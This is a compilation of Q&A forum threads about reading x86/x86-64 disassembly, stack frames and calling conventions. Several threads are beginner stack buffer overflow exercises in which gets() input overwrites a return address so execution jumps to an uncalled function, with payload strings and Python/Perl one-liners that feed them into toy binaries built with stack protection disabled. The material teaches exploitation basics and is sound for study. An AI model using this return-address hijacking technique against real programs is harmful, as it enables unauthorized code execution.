I am trying to execute a buffer overflow on this code:
#include <stdio.h>
CanNeverExecute(){
printf ("You should not be seeing this , right?\n");
}
Greet(){
char buf [8];
gets(buf); // This line is vulnerable because "gets" does not perform a length check, it just copies the whole user input
printf ("Good day, %s\n", buf);
}
int main(){
Greet();
return 0;
}
This is the disassembled Greet function:
080484b1 <Greet>:
80484b1: 55 push %ebp
80484b2: 89 e5 mov %esp,%ebp
80484b4: 53 push %ebx
80484b5: 83 ec 14 sub $0x14,%esp
80484b8: e8 03 ff ff ff call 80483c0 <__x86.get_pc_thunk.bx>
80484bd: 81 c3 43 1b 00 00 add $0x1b43,%ebx
80484c3: 83 ec 0c sub $0xc,%esp
80484c6: 8d 45 f0 lea -0x10(%ebp),%eax
80484c9: 50 push %eax
80484ca: e8 61 fe ff ff call 8048330 <gets#plt>
80484cf: 83 c4 10 add $0x10,%esp
80484d2: 83 ec 08 sub $0x8,%esp
80484d5: 8d 45 f0 lea -0x10(%ebp),%eax
80484d8: 50 push %eax
80484d9: 8d 83 c7 e5 ff ff lea -0x1a39(%ebx),%eax
80484df: 50 push %eax
80484e0: e8 3b fe ff ff call 8048320 <printf#plt>
80484e5: 83 c4 10 add $0x10,%esp
80484e8: 90 nop
80484e9: 8b 5d fc mov -0x4(%ebp),%ebx
80484ec: c9 leave
80484ed: c3 ret
If I am not making a mistake, I have to enter 16 bytes to fill the buffer because this instruction allocates 16 bytes, right?
80484d5: 8d 45 f0 lea -0x10(%ebp),%eax
So I can enter 16 chars then 4 bytes of ebp = 20 bytes + the address of CanNeverExecute. The address shows up as 08048486 in objdump and my machine is little endian so I enter 20 bytes of random characters + address like this:
AAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08
But it does not work. I can't find the mistake, please help me ty.
When you enter the input with escape characters, you are actually providing the characters '\', 'x', '8', '6' etc. as separate ASCII-encoded bytes. If the characters had corresponded to some correct UTF-8 encoding, you could probably enter it at least by copying and pasting, if not through typing on your keyboard. But exploits rarely correspond to valid encodings, so an alternate is to use another program to supply the specific sequence of bytes through the input stream of your vulnerable binary.
You can use a python one-liner to supply your input containing escape characters:
python3 -c "import sys; sys.stdout.buffer.write(b'AAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08')" | ./yourbinary
Or using perl:
perl -e 'print "AAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08"' | ./yourbinary
Related
I've, for a few hours, been trying to enlarge my understanding of Assembly Language, by trying to read and understand the instructions of a very simple program I wrote in C to initiate myself to how arguments were handled in ASM.
#include <stdio.h>
int say_hello();
int main(void) {
printf("say_hello() -> %d\n", say_hello(10, 20, 30, 40, 50, 60, 70, 80, 90, 100));
}
int say_hello(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j) {
printf("a:b:c:d:e:f:g:h:i:j -> %d:%d:%d:%d:%d:%d:%d:%d:%d:%d\n", a, b, c, d, e, f, g, h, i, j);
return 1000;
}
The program is as I said, very basic and contains two functions, the main and another one called say_hello which takes 10 arguments, from a to j and print each one of them in a printf call. I've tried doing the same process (So trying to understand the instructions and what's happening), with the same program and less arguments, I think I was able to understand most of it, but then I was wondering, "ok but what's happening if I have so many arguments, there isn't any more register available to store the value in"
So I went to look for how many registers were available and usable in my case, and I found out from this website that "only" (not sure, correct me if I'm wrong) the following registers could be used in my case to store argument values in them edi, esi, r8d, r9d, r10d, r11d, edx, ecx, which is 8, so I went to modify my C program and I added a few more arguments, so that I reach the 8 limit, I even added one more, I don't really know why, let's say just in case.
So when I compiled my program using gcc with no optimization related option whatsoever, I was expecting the main() function to push the values that were left after all the 8 registers have been used, but I wasn't expecting anything from the say_hello() method, that's pretty much why I tried this out in the first place.
So I went to compile my program, then disassembled it using the objdump command (More specifically, this is the full command I used: objdump -d -M intel helloworld) and I started looking for my main method, which was doing pretty much as I expected
000000000000064a <main>:
64a: 55 push rbp
64b: 48 89 e5 mov rbp,rsp
64e: 6a 64 push 0x64
650: 6a 5a push 0x5a
652: 6a 50 push 0x50
654: 6a 46 push 0x46
656: 41 b9 3c 00 00 00 mov r9d,0x3c
65c: 41 b8 32 00 00 00 mov r8d,0x32
662: b9 28 00 00 00 mov ecx,0x28
667: ba 1e 00 00 00 mov edx,0x1e
66c: be 14 00 00 00 mov esi,0x14
671: bf 0a 00 00 00 mov edi,0xa
676: b8 00 00 00 00 mov eax,0x0
67b: e8 1e 00 00 00 call 69e <say_hello>
680: 48 83 c4 20 add rsp,0x20
684: 89 c6 mov esi,eax
686: 48 8d 3d 0b 01 00 00 lea rdi,[rip+0x10b] # 798 <_IO_stdin_used+0x8>
68d: b8 00 00 00 00 mov eax,0x0
692: e8 89 fe ff ff call 520 <printf#plt>
697: b8 00 00 00 00 mov eax,0x0
69c: c9 leave
69d: c3 ret
So it, as I expected pushed the values that were left after all the registers had been used into the stack, and then just did the usual work to pass values from one method to another. But then I went to look for the say_hello method, and it got me really confused.
000000000000069e <say_hello>:
69e: 55 push rbp
69f: 48 89 e5 mov rbp,rsp
6a2: 48 83 ec 20 sub rsp,0x20
6a6: 89 7d fc mov DWORD PTR [rbp-0x4],edi
6a9: 89 75 f8 mov DWORD PTR [rbp-0x8],esi
6ac: 89 55 f4 mov DWORD PTR [rbp-0xc],edx
6af: 89 4d f0 mov DWORD PTR [rbp-0x10],ecx
6b2: 44 89 45 ec mov DWORD PTR [rbp-0x14],r8d
6b6: 44 89 4d e8 mov DWORD PTR [rbp-0x18],r9d
6ba: 44 8b 45 ec mov r8d,DWORD PTR [rbp-0x14]
6be: 8b 7d f0 mov edi,DWORD PTR [rbp-0x10]
6c1: 8b 4d f4 mov ecx,DWORD PTR [rbp-0xc]
6c4: 8b 55 f8 mov edx,DWORD PTR [rbp-0x8]
6c7: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
6ca: 48 83 ec 08 sub rsp,0x8
6ce: 8b 75 28 mov esi,DWORD PTR [rbp+0x28]
6d1: 56 push rsi
6d2: 8b 75 20 mov esi,DWORD PTR [rbp+0x20]
6d5: 56 push rsi
6d6: 8b 75 18 mov esi,DWORD PTR [rbp+0x18]
6d9: 56 push rsi
6da: 8b 75 10 mov esi,DWORD PTR [rbp+0x10]
6dd: 56 push rsi
6de: 8b 75 e8 mov esi,DWORD PTR [rbp-0x18]
6e1: 56 push rsi
6e2: 45 89 c1 mov r9d,r8d
6e5: 41 89 f8 mov r8d,edi
6e8: 89 c6 mov esi,eax
6ea: 48 8d 3d bf 00 00 00 lea rdi,[rip+0xbf] # 7b0 <_IO_stdin_used+0x20>
6f1: b8 00 00 00 00 mov eax,0x0
6f6: e8 25 fe ff ff call 520 <printf#plt>
6fb: 48 83 c4 30 add rsp,0x30
6ff: b8 e8 03 00 00 mov eax,0x3e8
704: c9 leave
705: c3 ret
706: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
70d: 00 00 00
I'm really sorry in advance, I'm not exactly sure I really understand well what the square brackets do, but from what I've read and understand it's a way to "point" to the address containing the value I want (please correct me if I'm wrong), so for example mov DWORD PTR [rbp-0x4],edi moves the value in edi to the value at the address rsp-0x4, right?
I'm also not actually not sure why this process is required, can't the say_hello method just read edi for example and that's it? Why does the program have to move it into [rbp-0x4] and then re-reading it back from [rbp-0x4] to eax ?
So the program just goes on and reads every value it needs and put them into an available register, and when it reaches the point when there's no register left, it just starts moving all of them into esi and then pushing them onto the stack, then repeating the process until all the 10 arguments have been stored somewhere.
So that makes sense, I was satisfied and then just went to double check if I really had got it well, so I started reading from bottom to top, starting from 0x6ea to 0x6e2 so the sample I'm working on is
6e2: 45 89 c1 mov r9d,r8d
6e5: 41 89 f8 mov r8d,edi
6e8: 89 c6 mov esi,eax
6ea: 48 8d 3d bf 00 00 00 lea rdi,[rip+0xbf] # 7b0 <_IO_stdin_used+0x20>
So just like on all my previous tests, I was expecting the arguments to go in "reverse" like the first argument is the last instruction executed, and the last one the first instruction executed, so I started double checking every field.
So the first one, rdi was [rip+0x10b] which I thought for sure was pointing to my string.
So then I moved to 0x6e8, which moves eax which is currently equal to the value stored in [rbp-0x4], which is equal to edi as stated at 0x6a6, and edi is equal to 0xa (10) as stated on 0x671, so my first argument is my string, and the second one is 10, which is exactly what I expected.
But then when I jumped on the instruction executed right before 0x6e8, so 0x6e5 I was expecting it to be 20, so I did the same process. edi is moved to r8d and is currently equal to the value stored in [rbp-0x10] which is equal to ecx which is equal to, as stated at 0x662.. 40? What the heck? I'm confused, why would it be 40? Then I tried looking up the instruction right above that one, and found 50, and did the same for the next one, and again I found 60!! Why? Is the way I get those values wrong? Am I missing something in the instructions? Or did I just assume something by looking at my previous programs (which all had way less arguments, and were all in "reverse" like I said earlier) that I should not have?
I'm sorry if this is a dumb post, I'm very new to ASM (few hours of experience!) and just trying to get my mind cleared on that one, as I really can't figure it out alone. I'm also sorry if this post is too long, I was trying to include a lot of informations so that what I'm trying to do is clear, the result I get is clear, and what my problem is is clear aswell. Thanks a lot for reading and even a bigger thanks to anyone who will help!
I am new to Buffer Overflow exploits and I started with a simple C program.
Code
#include <stdio.h>
#include <strings.h>
void execs(void){
printf("yay!!");
}
void return_input (void)
{
char array[30];
gets(array);
}
int main()
{
return_input();
return 0;
}
Compilation stage
I compiled the above program with cc by disabling stack protector as:
cc test.c -o test -fno-stack-protector
The dump of the elf file using objdump is as follows :
0804843b <execs>:
804843b: 55 push %ebp
804843c: 89 e5 mov %esp,%ebp
804843e: 83 ec 08 sub $0x8,%esp
8048441: 83 ec 0c sub $0xc,%esp
8048444: 68 10 85 04 08 push $0x8048510
8048449: e8 b2 fe ff ff call 8048300 <printf#plt>
804844e: 83 c4 10 add $0x10,%esp
8048451: 90 nop
8048452: c9 leave
8048453: c3 ret
08048454 <return_input>:
8048454: 55 push %ebp
8048455: 89 e5 mov %esp,%ebp
8048457: 83 ec 28 sub $0x28,%esp
804845a: 83 ec 0c sub $0xc,%esp
804845d: 8d 45 da lea -0x26(%ebp),%eax
8048460: 50 push %eax
8048461: e8 aa fe ff ff call 8048310 <gets#plt>
8048466: 83 c4 10 add $0x10,%esp
8048469: 90 nop
804846a: c9 leave
804846b: c3 ret
0804846c <main>:
804846c: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048470: 83 e4 f0 and $0xfffffff0,%esp
8048473: ff 71 fc pushl -0x4(%ecx)
8048476: 55 push %ebp
8048477: 89 e5 mov %esp,%ebp
8048479: 51 push %ecx
804847a: 83 ec 04 sub $0x4,%esp
804847d: e8 d2 ff ff ff call 8048454 <return_input>
8048482: b8 00 00 00 00 mov $0x0,%eax
8048487: 83 c4 04 add $0x4,%esp
804848a: 59 pop %ecx
804848b: 5d pop %ebp
804848c: 8d 61 fc lea -0x4(%ecx),%esp
804848f: c3 ret
So, In order to exploit the buffer(array), we need to find the number of bytes allocated in the return_input stack frame which by looking at the dump,
lea -0x26(%ebp),%eax
is 0x26 in hex or roughly 38 in decimal. So, giving input as :
38+4(random chars)+(return addr of execs)
would execute the execs function. I used the following:
python -c 'print "a"*42+"\x3b\x84\x04\x08"' | ./test
But output Error was:
Segmentation fault(core dumped)
When I opened the core(core dumped file) using gdb, I could find that the segmentation fault was experienced when executing on the following address :
0xb76f2300
System information:
Ubuntu version : 16.10
Kernel version : 4.8.0-46-generic
Question?
What was I doing wrong in code?
I guess the reason is simple: you didn't halt/abort your program in the execs. That address 0xb76f2300 is on stack, so I suspect it is the return from the execs that fails when it tries to return to the value of the stored stack pointer.
That you don't see any message is because the stdout is line-buffered, and your message didn't have a new-line character, nor did you flush it explicitly; thus the yay!! will still be in the buffers.
Also, use a debugger.
I wrote a very simple program in C and try to understand the function calling process.
#include "stdio.h"
void Oh(unsigned x) {
printf("%u\n", x);
}
int main(int argc, char const *argv[])
{
Oh(0x67611c8c);
return 0;
}
And its assembly code seems to be
0000000100000f20 <_Oh>:
100000f20: 55 push %rbp
100000f21: 48 89 e5 mov %rsp,%rbp
100000f24: 48 83 ec 10 sub $0x10,%rsp
100000f28: 48 8d 05 6b 00 00 00 lea 0x6b(%rip),%rax # 100000f9a <_printf$stub+0x20>
100000f2f: 89 7d fc mov %edi,-0x4(%rbp)
100000f32: 8b 75 fc mov -0x4(%rbp),%esi
100000f35: 48 89 c7 mov %rax,%rdi
100000f38: b0 00 mov $0x0,%al
100000f3a: e8 3b 00 00 00 callq 100000f7a <_printf$stub>
100000f3f: 89 45 f8 mov %eax,-0x8(%rbp)
100000f42: 48 83 c4 10 add $0x10,%rsp
100000f46: 5d pop %rbp
100000f47: c3 retq
100000f48: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
100000f4f: 00
0000000100000f50 <_main>:
100000f50: 55 push %rbp
100000f51: 48 89 e5 mov %rsp,%rbp
100000f54: 48 83 ec 10 sub $0x10,%rsp
100000f58: b8 8c 1c 61 67 mov $0x67611c8c,%eax
100000f5d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
100000f64: 89 7d f8 mov %edi,-0x8(%rbp)
100000f67: 48 89 75 f0 mov %rsi,-0x10(%rbp)
100000f6b: 89 c7 mov %eax,%edi
100000f6d: e8 ae ff ff ff callq 100000f20 <_Oh>
100000f72: 31 c0 xor %eax,%eax
100000f74: 48 83 c4 10 add $0x10,%rsp
100000f78: 5d pop %rbp
100000f79: c3 retq
Well, I don't quite understand the argument passing process, since there is only one parameter passed to Oh function, I could under stand this
100000f58: b8 8c 1c 61 67 mov $0x67611c8c,%eax
So what does the the code below do? Why rbp? Isn't it abandoned in X86-64 assembly? If it is a x86 style assembly, how can I generate the x86-64 style assembly using clang? If it is x86, it doesn't matter, could any one explains the below code line by line for me?
100000f5d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
100000f64: 89 7d f8 mov %edi,-0x8(%rbp)
100000f67: 48 89 75 f0 mov %rsi,-0x10(%rbp)
100000f6b: 89 c7 mov %eax,%edi
100000f6d: e8 ae ff ff ff callq 100000f20 <_Oh>
You might get cleaner code if you turned optimizations on, or you might not. But, here’s what that does.
The %rbp register is being used as a frame pointer, that is, a pointer to the original top of the stack. It’s saved on the stack, stored, and restored at the end. Far from being removed in x86_64, it was added there; the 32-bit equivalent was %ebp.
After this value is saved, the program allocates sixteen bytes off the stack by subtracting from the stack pointer.
There then is a very inefficient series of copies that sets the first argument of Oh() as the second argument of printf() and the constant address of the format string (relative to the instruction pointer) as the first argument of printf(). Remember that, in this calling convention, the first argument is passed in %rdi (or %edi for 32-bit operands) and the second in %rsi This could have been simplified to two instructions.
After calling printf(), the program (needlessly) saves the return value on the stack, restores the stack and frame pointers, and returns.
In main(), there’s similar code to set up the stack frame, then the program saves argc and argv (needlessly), then it moves around the constant argument to Oh into its first argument, by way of %eax. This could have been optimized into a single instruction. It then calls Oh(). On return, it sets its return value to 0, cleans up the stack, and returns.
The code you’re asking about does the following: stores the constant 32-bit value 0 on the stack, saves the 32-bit value argc on the stack, saves the 64-bit pointer argv on the stack (the first and second arguments to main()), and sets the first argument of the function it is about to call to %eax, which it had previously loaded with a constant. This is all unnecessary for this program, but would have been necessary had it needed to use argc and argv after the call, when those registers would have been clobbered. There’s no good reason it used two steps to load the constant instead of one.
As Jester mentions you still have frame pointers on (to aid debugging)so stepping through main:
0000000100000f50 <_main>:
First we enter a new stack frame, we have to save the base pointer and move the stack to the new base. Also, in x86_64 the stack frame has to be aligned to a 16 byte boundary (hence moving the stack pointer by 0x10).
100000f50: push %rbp
100000f51: mov %rsp,%rbp
100000f54: sub $0x10,%rsp
As you mention, x86_64 passes parameters by register, so load the param in to the register:
100000f58: mov $0x67611c8c,%eax
??? Help needed
100000f5d: movl $0x0,-0x4(%rbp)
From here: "Registers RBP, RBX, and R12-R15 are callee-save registers", so if we want to save other resisters then we have to do it ourselves ....
100000f64: mov %edi,-0x8(%rbp)
100000f67: mov %rsi,-0x10(%rbp)
Not really sure why we didn't just load this in %edi where it needs to be for the call to begin with, but we better move it there now.
100000f6b: mov %eax,%edi
Call the function:
100000f6d: callq 100000f20 <_Oh>
This is the return value (passed in %eax), xor is a smaller instruction than load 0, so is a cmmon optimization:
100000f72: xor %eax,%eax
Clean up that stack frame we added earlier (not really sure why we saved those registers on it when we didn't use them)
100000f74: add $0x10,%rsp
100000f78: pop %rbp
100000f79: retq
I am having trouble replicating the stack buffer overflow example given by OWASP here.
Here is my attempt:
$ cat test.c
#include <stdio.h>
#include <string.h>
void doit(void)
{
char buf[8];
gets(buf);
printf("%s\n", buf);
}
int main(void)
{
printf("So... The End...\n");
doit();
printf("or... maybe not?\n");
return 0;
}
$ gcc test.c -o test -fno-stack-protection -ggdb
$ objdump -d test # omitted irrelevant parts i think
000000000040054c <doit>:
40054c: 55 push %rbp
40054d: 48 89 e5 mov %rsp,%rbp
400550: 48 83 ec 10 sub $0x10,%rsp
400554: 48 8d 45 f0 lea -0x10(%rbp),%rax
400558: 48 89 c7 mov %rax,%rdi
40055b: e8 d0 fe ff ff callq 400430 <gets#plt>
400560: 48 8d 45 f0 lea -0x10(%rbp),%rax
400564: 48 89 c7 mov %rax,%rdi
400567: e8 a4 fe ff ff callq 400410 <puts#plt>
40056c: c9 leaveq
40056d: c3 retq
000000000040056e <main>:
40056e: 55 push %rbp
40056f: 48 89 e5 mov %rsp,%rbp
400572: bf 4c 06 40 00 mov $0x40064c,%edi
400577: e8 94 fe ff ff callq 400410 <puts#plt>
40057c: e8 cb ff ff ff callq 40054c <doit>
400581: bf 5d 06 40 00 mov $0x40065d,%edi
400586: e8 85 fe ff ff callq 400410 <puts#plt>
40058b: b8 00 00 00 00 mov $0x0,%eax
400590: 5d pop %rbp
400591: c3 retq # this is where i took my overflow value from
400592: 90 nop
400593: 90 nop
400594: 90 nop
400595: 90 nop
400596: 90 nop
400597: 90 nop
400598: 90 nop
400599: 90 nop
40059a: 90 nop
40059b: 90 nop
40059c: 90 nop
40059d: 90 nop
40059e: 90 nop
40059f: 90 nop
$ perl -e 'print "A"x12 ."\x91\x05\x40"' | ./test
So... The End...
AAAAAAAAAAAA▒#
or... maybe not? # this shouldn't be outputted
Why isn't this working? I'm assuming that the memory address that I am supposed to insert is the retq from <main>.
My goal is to figure out how to do a stack buffer overflow that calls a function elsewhere in the program. Any help is much appreciated. :)
I'm using Windows & MSVC but you should get the idea.
Consider the following code:
#include <stdio.h>
void someFunc()
{
puts("wow, we should never get here :|");
}
// MSVC inlines this otherwise
void __declspec(noinline) doit(void)
{
char buf[8];
gets(buf);
printf("%s\n", buf);
}
int main(void)
{
printf("So... The End...\n");
doit();
printf("or... maybe not?\n");
return 0;
}
(Note: I had to compile it with /OPT:NOREF to force MSVC not to remove "unused" code and /GS- to turn off stack checks)
Now, let's open it in my favorite disassembler:
We'd like to exploit the gets vulnerability so the execution jumps to someFunc. We can see that its address is 001D1000, so if we can write enough bytes past the buffer to overwrite the return address, we'll be good. Let's take a look at the stack when gets is called:
As we can see, there's 8 bytes of our stack allocated buffer (buf), 4 bytes of some stuff (actually the PUSHed EBP), and the return address. Thus, we need to write 12 bytes of whatever and then our 4 byte return address (001D1000) to "hijack" the execution flow. Let's do just that - we'll prepare an input file with the bytes we need using a hex editor:
And indeed, when we run the program with that input, we get this:
After it prints that line, it will crash with an access violation since there was some garbage on the stack. However, there's nothing stopping you from carefully analyzing the code and preparing such bytes in your input that the program will appear to function as normal (we could overwrite the next bytes with the address of ExitProcess, so that someFunc would jump there).
Assembly newbie here... I wrote the following simple C program:
void fun(int x, int* y)
{
char arr[4];
int* sp;
sp = y;
}
int main()
{
int i = 4;
fun(i, &i);
return 0;
}
I compiled it with gcc and ran objdump with -S, but the Assembly code output is confusing me:
000000000040055d <fun>:
void fun(int x, int* y)
{
40055d: 55 push %rbp
40055e: 48 89 e5 mov %rsp,%rbp
400561: 48 83 ec 30 sub $0x30,%rsp
400565: 89 7d dc mov %edi,-0x24(%rbp)
400568: 48 89 75 d0 mov %rsi,-0x30(%rbp)
40056c: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
400573: 00 00
400575: 48 89 45 f8 mov %rax,-0x8(%rbp)
400579: 31 c0 xor %eax,%eax
char arr[4];
int* sp;
sp = y;
40057b: 48 8b 45 d0 mov -0x30(%rbp),%rax
40057f: 48 89 45 e8 mov %rax,-0x18(%rbp)
}
400583: 48 8b 45 f8 mov -0x8(%rbp),%rax
400587: 64 48 33 04 25 28 00 xor %fs:0x28,%rax
40058e: 00 00
400590: 74 05 je 400597 <fun+0x3a>
400592: e8 a9 fe ff ff callq 400440 <__stack_chk_fail#plt>
400597: c9 leaveq
400598: c3 retq
0000000000400599 <main>:
int main()
{
400599: 55 push %rbp
40059a: 48 89 e5 mov %rsp,%rbp
40059d: 48 83 ec 10 sub $0x10,%rsp
int i = 4;
4005a1: c7 45 fc 04 00 00 00 movl $0x4,-0x4(%rbp)
fun(i, &i);
4005a8: 8b 45 fc mov -0x4(%rbp),%eax
4005ab: 48 8d 55 fc lea -0x4(%rbp),%rdx
4005af: 48 89 d6 mov %rdx,%rsi
4005b2: 89 c7 mov %eax,%edi
4005b4: e8 a4 ff ff ff callq 40055d <fun>
return 0;
4005b9: b8 00 00 00 00 mov $0x0,%eax
}
4005be: c9 leaveq
4005bf: c3 retq
First, in the line:
400561: 48 83 ec 30 sub $0x30,%rsp
Why is the stack pointer decremented so much in the call to 'fun' (48 bytes)? I assume it has to do with alignment issues, but I cannot visualize why it would need so much space (I only count 12 bytes for local variables (assuming 8 byte pointers))?
Second, I thought that in x86_64, the arguments to a function are either stored in specific registers, or if there are a lot of them, just 'above' (with a downward growing stack) the base pointer, %rbp. Like in the picture at http://en.wikipedia.org/wiki/Call_stack#Structure except 'upside-down'.
But the lines:
400565: 89 7d dc mov %edi,-0x24(%rbp)
400568: 48 89 75 d0 mov %rsi,-0x30(%rbp)
suggest to me that they are being stored way down from the base of the stack (%rsi and %edi are where main put the arguments, right before calling 'fun', and 0x30 down from %rbp is exactly where the stack pointer is pointing...). And when I try to do stuff with them , like assigning their values to local variables, it grabs them from those locations near the head of the stack:
sp = y;
40057b: 48 8b 45 d0 mov -0x30(%rbp),%rax
40057f: 48 89 45 e8 mov %rax,-0x18(%rbp)
... what is going on here?! I would expect them to grab the arguments from either the registers they were stored in, or just above the base pointer, where I thought they are 'supposed to be', according to every basic tutorial I read. Every answer and post I found on here related to stack frame questions confirms my understanding of what stack frames "should" look like, so why is my Assembly output so darn weird?
Because that stuff is a hideously simplified version of what really goes on. It's like wondering why Newtonian mechanics doesn't model the movement of the planets down to the millimeter. Compilers need stack space for all sorts of things. For example, saving callee-saved registers.
Also, the fundamental fact is that debug-mode compilations contain all sorts of debugging and checking machinery. The compiler outputs all sorts of code that checks that your code is correct, for example the call to __stack_chk_fail.
There are only two ways to understand the output of a given compiler. The first is to implement the compiler, or be otherwise very familiar with the implementation. The second is to accept that whatever you understand is a gross simplification. Pick one.
Because you're compiling without optimization, the compiler does lots of extra stuff to maybe make things easier to debug, which use lots of extra space.
it does not attempt to compress the stack frame to reuse memory for anything, or get rid of any unused things.
it redundantly copies the arguments into the stack frame (which requires still more memory)
it copies a 'canary' on to the stack to guard against stack smashing buffer overflows (even though they can't happen in this code).
Try turning on optimization, and you'll see more real code.
This is 64 bit code. 0x30 of stack space corresponds to 6 slots on the stack. You have what appears to be:
2 slots for function arguments (which happen also to be passed in registers)
2 slots for local variables
1 slot for saving the AX register
1 slot looks like a stack guard, probably related to DEBUG mode.
Best thing is to experiment rather than ask questions. Try compiling in different modes (DEBUG, optimisation, etc), and with different numbers and types of arguments and variables. Sometimes asking other people is just too easy -- you learn better by doing your own experiments.